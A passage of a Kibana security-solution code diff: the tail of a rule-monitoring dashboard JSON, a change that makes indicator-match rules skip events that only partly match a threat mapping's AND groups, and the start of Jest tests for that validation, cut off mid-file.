ms\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":false},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX1\":{\"label\":\"Part of Schedule delay, ms\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX0\",1000000],\"location\":{\"min\":0,\"max\":41},\"text\":\"max(kibana.task.schedule_delay) / 1000000\"}},\"references\":[\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX0\"],\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\":{\"label\":\"Delay, ms\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"max(kibana.task.schedule_delay) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX1\"],\"customLabel\":true},\"75b295c8-00ac-4f62-8952-e4cb44b5f183\":{\"label\":\"Type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"alphabetical\",\"fallback\":true},\"orderDirection\":\"asc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true},\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\":{\"label\":\"ID\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.id\",\"isBucketed\":true,\"params\":{\"size\":10,\"orderBy\":{\"type\":\"custom\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"orderAgg\":{\"label\":\"Maximum of kibana.task.schedule_delay\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true}}},\"customLabel\":true}},\"columnOrder\":[\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\",\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"75b295c8-00ac-4f62-8952-e4cb44b5f183\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX0\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX1\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}}},\"textBased\":{\"layers\":{}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"f5d7a9c8-839c-408c-b798-68d019483bc7\",\"gridData\":{\"i\":\"f5d7a9c8-839c-408c-b798-68d019483bc7\",\"y\":118,\"x\":24,\"w\":24,\"h\":16}},{\"type\":\"lens\",\"title\":\"Top 10 rules by status \\\"Failed\\\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"failed\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"failed\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsDatatable\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"c5902ca2-58ae-4b1c-b420-5208b7cb16c4\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"columns\":[{\"columnId\":\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"isTransposed\":false},{\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"isTransposed\":false,\"width\":122.08333333333331},{\"columnId\":\"729ee95a-5bf6-4f18-9350-dce536b55dea\",\"isTransposed\":false,\"width\":164.75},{\"columnId\":\"fa6462ca-54c3-470e-a9c3-66ff58c37536\",\"isTransposed\":false,\"width\":82.08333333333334}],\"layerId\":\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"layerType\":\"data\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"failed\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"failed\"}}}],\"index\":\"c5902ca2-58ae-4b1c-b420-5208b7cb16c4\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\":{\"columns\":{\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\":{\"label\":\"Name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"secondaryFields\":[]},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\":{\"label\":\"# \\\"Failed\\\"\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"kibana.alert.rule.execution.uuid\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"729ee95a-5bf6-4f18-9350-dce536b55dea\":{\"label\":\"Type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true},\"fa6462ca-54c3-470e-a9c3-66ff58c37536\":{\"label\":\"ID\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.id\",\"isBucketed\":true,\"params\":{\"size\":10,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true}},\"columnOrder\":[\"fa6462ca-54c3-470e-a9c3-66ff58c37536\",\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"729ee95a-5bf6-4f18-9350-dce536b55dea\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}}},\"textBased\":{\"layers\":{}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"2168b471-9a51-4ead-a51e-15e52ba85d86\",\"gridData\":{\"i\":\"2168b471-9a51-4ead-a51e-15e52ba85d86\",\"y\":134,\"x\":0,\"w\":24,\"h\":16}},{\"type\":\"lens\",\"title\":\"Top 10 rules by status \\\"Warning\\\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"partial failure\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"partial failure\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsDatatable\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"64b1a767-a32b-4a59-9fae-de5f08d38208\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"columns\":[{\"columnId\":\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"isTransposed\":false},{\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"isTransposed\":false,\"width\":126.25},{\"columnId\":\"7ea81631-0dff-4ec6-929f-592e29101149\",\"isTransposed\":false,\"width\":165.375},{\"columnId\":\"9f1d7602-e75b-427f-b740-c2b8167fed33\",\"isTransposed\":false,\"width\":82}],\"layerId\":\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"layerType\":\"data\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"partial failure\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"partial failure\"}}}],\"index\":\"64b1a767-a32b-4a59-9fae-de5f08d38208\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\":{\"columns\":{\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\":{\"label\":\"Name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"secondaryFields\":[]},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\":{\"label\":\"# \\\"Warning\\\"\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"kibana.alert.rule.execution.uuid\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"7ea81631-0dff-4ec6-929f-592e29101149\":{\"label\":\"Type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true},\"9f1d7602-e75b-427f-b740-c2b8167fed33\":{\"label\":\"ID\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.id\",\"isBucketed\":true,\"params\":{\"size\":10,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true}},\"columnOrder\":[\"9f1d7602-e75b-427f-b740-c2b8167fed33\",\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"7ea81631-0dff-4ec6-929f-592e29101149\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}}},\"textBased\":{\"layers\":{}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"075d7dff-442b-4091-bfe2-3844e7e7e3f4\",\"gridData\":{\"i\":\"075d7dff-442b-4091-bfe2-3844e7e7e3f4\",\"y\":134,\"x\":24,\"w\":24,\"h\":16}},{\"type\":\"lens\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"title\":\"Rule gap histogram\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"palette\":null,\"filters\":[],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"type\":\"index-pattern\",\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-54585793-d86f-4dce-8fb1-80b6ef529e4f\"},{\"type\":\"index-pattern\",\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-87d56d88-cfac-492c-ba95-a70cb5815c20\"},{\"type\":\"index-pattern\",\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-223cc135-2457-4248-aada-6d1d10cfa126\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"top\",\"showSingleSeries\":true,\"isInside\":false},\"valueLabels\":\"hide\",\"fittingFunction\":\"Linear\",\"axisTitlesVisibilitySettings\":{\"x\":false,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"bar\",\"layers\":[{\"layerId\":\"54585793-d86f-4dce-8fb1-80b6ef529e4f\",\"accessors\":[\"d1f5683e-3d19-403b-adf5-c19e3890afec\"],\"position\":\"top\",\"seriesType\":\"bar\",\"showGridlines\":false,\"layerType\":\"data\",\"colorMapping\":{\"assignments\":[],\"specialAssignments\":[{\"rule\":{\"type\":\"other\"},\"color\":{\"type\":\"loop\"},\"touched\":false}],\"paletteId\":\"default\",\"colorMode\":{\"type\":\"categorical\"}},\"xAccessor\":\"349bbe98-bb74-4ad7-8dd0-5aeef46827bf\",\"yConfig\":[{\"forAccessor\":\"d1f5683e-3d19-403b-adf5-c19e3890afec\",\"color\":\"#e7664c\"}]},{\"layerId\":\"87d56d88-cfac-492c-ba95-a70cb5815c20\",\"layerType\":\"data\",\"accessors\":[\"24a5aae8-70af-471c-98c6-59e65730df77\"],\"seriesType\":\"bar\",\"xAccessor\":\"b9c742e8-83d3-486e-a28b-500cef0a0963\",\"yConfig\":[{\"forAccessor\":\"24a5aae8-70af-471c-98c6-59e65730df77\",\"color\":\"#98a2b3\"}]},{\"layerId\":\"223cc135-2457-4248-aada-6d1d10cfa126\",\"layerType\":\"data\",\"accessors\":[\"e95064dd-bd12-45c5-8d9b-8532cc3a07eb\"],\"seriesType\":\"bar\",\"xAccessor\":\"55820513-5417-43b0-9062-d0758340b71d\",\"yConfig\":[{\"forAccessor\":\"e95064dd-bd12-45c5-8d9b-8532cc3a07eb\",\"color\":\"#6b3c9f\"}]}],\"yTitle\":\"Rules\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[],\"datasourceStates\":{\"formBased\":{\"layers\":{\"54585793-d86f-4dce-8fb1-80b6ef529e4f\":{\"columns\":{\"349bbe98-bb74-4ad7-8dd0-5aeef46827bf\":{\"label\":\"kibana.alert.rule.gap.unfilled_intervals\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"kibana.alert.rule.gap.unfilled_intervals\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"5m\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"d1f5683e-3d19-403b-adf5-c19e3890afec\":{\"label\":\"Rules with unfilled gaps\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"rule.id\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"349bbe98-bb74-4ad7-8dd0-5aeef46827bf\",\"d1f5683e-3d19-403b-adf5-c19e3890afec\"],\"incompleteColumns\":{},\"sampling\":1,\"indexPatternId\":\"kibana-event-log-data-view\"},\"87d56d88-cfac-492c-ba95-a70cb5815c20\":{\"linkToLayers\":[],\"columns\":{\"b9c742e8-83d3-486e-a28b-500cef0a0963\":{\"label\":\"kibana.alert.rule.gap.filled_intervals\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"kibana.alert.rule.gap.filled_intervals\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"5m\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"24a5aae8-70af-471c-98c6-59e65730df77\":{\"label\":\"Rules with gaps filled\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"rule.id\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"b9c742e8-83d3-486e-a28b-500cef0a0963\",\"24a5aae8-70af-471c-98c6-59e65730df77\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{},\"indexPatternId\":\"kibana-event-log-data-view\"},\"223cc135-2457-4248-aada-6d1d10cfa126\":{\"indexPatternId\":\"kibana-event-log-data-view\",\"linkToLayers\":[],\"columns\":{\"55820513-5417-43b0-9062-d0758340b71d\":{\"label\":\"kibana.alert.rule.gap.in_progress_intervals\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"kibana.alert.rule.gap.in_progress_intervals\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"5m\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"e95064dd-bd12-45c5-8d9b-8532cc3a07eb\":{\"label\":\"Rules with gap filling in-progress\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"rule.id\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"55820513-5417-43b0-9062-d0758340b71d\",\"e95064dd-bd12-45c5-8d9b-8532cc3a07eb\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}},\"currentIndexPatternId\":\"kibana-event-log-data-view\"},\"indexpattern\":{\"layers\":{},\"currentIndexPatternId\":\"kibana-event-log-data-view\"},\"textBased\":{\"layers\":{},\"indexPatternRefs\":[{\"id\":\"kibana-event-log-data-view\",\"title\":\".kibana-event-log-*\",\"timeField\":\"@timestamp\"}]}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"0db89539-75be-4293-98f1-de2a1bb1e9f9\",\"gridData\":{\"i\":\"0db89539-75be-4293-98f1-de2a1bb1e9f9\",\"y\":15,\"x\":0,\"w\":48,\"h\":9}}]", "kibanaSavedObjectMeta": { "searchSourceJSON": "{\"filter\":[],\"query\":{\"query\":\"\",\"language\":\"kuery\"}}" } diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/create_event_signal.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/create_event_signal.ts index 9ea8affd6e12f..481219111aad1 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/create_event_signal.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/create_event_signal.ts @@ -25,6 +25,7 @@ import { MANY_NESTED_CLAUSES_ERR, } from './utils'; import { alertSuppressionTypeGuard } from '../../utils/get_is_alert_suppression_active'; +import { validateCompleteThreatMatches } from './validate_complete_threat_matches'; export const createEventSignal = async ({ sharedParams, @@ -109,7 +110,16 @@ export const createEventSignal = async ({ } } - const ids = Array.from(signalsQueryMap.keys()); + const { matchedEvents, skippedIds } = validateCompleteThreatMatches( + signalsQueryMap, + threatMapping + ); + + if (skippedIds.length > 0) { + ruleExecutionLogger.debug(`Skipping not matched documents: ${skippedIds.join(', ')}`); + } + + const ids = Array.from(matchedEvents.keys()); const indexFilter = { query: { bool: { @@ -136,7 +146,7 @@ export const createEventSignal = async ({ ruleExecutionLogger.debug(`${ids?.length} matched signals found`); const enrichment = threatEnrichmentFactory({ - signalsQueryMap, + signalsQueryMap: matchedEvents, threatIndicatorPath, threatFilters, threatSearchParams, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/validate_complete_threat_matches.test.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/validate_complete_threat_matches.test.ts new file mode 100644 index 0000000000000..5c5e916b8a62a --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/validate_complete_threat_matches.test.ts @@ -0,0 +1,319 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import { validateCompleteThreatMatches } from './validate_complete_threat_matches'; +import type { ThreatMatchNamedQuery } from './types'; +import type { ThreatMapping } from '../../../../../../common/api/detection_engine/model/rule_schema'; + +describe('validateCompleteThreatMatches', () => { + // Helper function to create a threat match named query + const createThreatQuery = ( + field: string, + value: string, + id: string = 'test-id', + index: string = 'test-index' + ): ThreatMatchNamedQuery => ({ + id, + index, + field, + value, + queryType: 'mq', + }); + + // Helper function to create a threat mapping + const createThreatMapping = ( + entries: Array> + ): ThreatMapping => + entries.map((group) => ({ + entries: group.map((entry) => ({ + field: entry.field, + type: 'mapping' as const, + value: entry.value, + })), + })); + + describe('AND logic', () => { + it('should validate complete match for single AND group', () => { + const threatMapping = createThreatMapping([ + [ + { field: 'user.name', value: 'threat.indicator.user.name' }, + { field: 'host.name', value: 'threat.indicator.host.name' }, + ], + ]); + + const signalsQueryMap = new Map([ + [ + 'event-1', + [ + createThreatQuery('user.name', 'threat.indicator.user.name'), + createThreatQuery('host.name', 'threat.indicator.host.name'), + ], + ], + ]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.has('event-1')).toBe(true); + expect(result.skippedIds).toEqual([]); + }); + + it('should reject partial match for single AND group', () => { + const threatMapping = createThreatMapping([ + [ + { field: 'user.name', value: 'threat.indicator.user.name' }, + { field: 'host.name', value: 'threat.indicator.host.name' }, + ], + ]); + + const signalsQueryMap = new Map([ + [ + 'event-1', + [ + createThreatQuery('user.name', 'threat.indicator.user.name'), + // Missing host.name match + ], + ], + ]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.has('event-1')).toBe(false); + expect(result.skippedIds).toEqual(['event-1']); + }); + + it('should reject event with no matches for single AND group', () => { + const threatMapping = createThreatMapping([ + [ + { field: 'user.name', value: 'threat.indicator.user.name' }, + { field: 'host.name', value: 'threat.indicator.host.name' }, + ], + ]); + + const signalsQueryMap = new Map([ + [ + 'event-1', + [ + createThreatQuery('source.ip', 'threat.indicator.source.ip'), // Wrong field + ], + ], + ]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.has('event-1')).toBe(false); + expect(result.skippedIds).toEqual(['event-1']); + }); + }); + + describe('OR logic with multiple AND groups', () => { + it('should validate event that matches first AND group completely', () => { + const threatMapping = createThreatMapping([ + [ + { field: 'user.name', value: 'threat.indicator.user.name' }, + { field: 'host.name', value: 'threat.indicator.host.name' }, + ], + [ + { field: 'source.ip', value: 'threat.indicator.source.ip' }, + { field: 'destination.ip', value: 'threat.indicator.destination.ip' }, + ], + ]); + + const signalsQueryMap = new Map([ + [ + 'event-1', + [ + createThreatQuery('user.name', 'threat.indicator.user.name'), + createThreatQuery('host.name', 'threat.indicator.host.name'), + ], + ], + ]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.has('event-1')).toBe(true); + expect(result.skippedIds).toEqual([]); + }); + + it('should validate event that matches second AND group completely', () => { + const threatMapping = createThreatMapping([ + [ + { field: 'user.name', value: 'threat.indicator.user.name' }, + { field: 'host.name', value: 'threat.indicator.host.name' }, + ], + [ + { field: 'source.ip', value: 'threat.indicator.source.ip' }, + { field: 'destination.ip', value: 'threat.indicator.destination.ip' }, + ], + ]); + + const signalsQueryMap = new Map([ + [ + 'event-1', + [ + createThreatQuery('source.ip', 'threat.indicator.source.ip'), + createThreatQuery('destination.ip', 'threat.indicator.destination.ip'), + ], + ], + ]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.has('event-1')).toBe(true); + expect(result.skippedIds).toEqual([]); + }); + + it('should reject event with partial matches across different AND groups', () => { + const threatMapping = createThreatMapping([ + [ + { field: 'user.name', value: 'threat.indicator.user.name' }, + { field: 'host.name', value: 'threat.indicator.host.name' }, + ], + [ + { field: 'source.ip', value: 'threat.indicator.source.ip' }, + { field: 'destination.ip', value: 'threat.indicator.destination.ip' }, + ], + 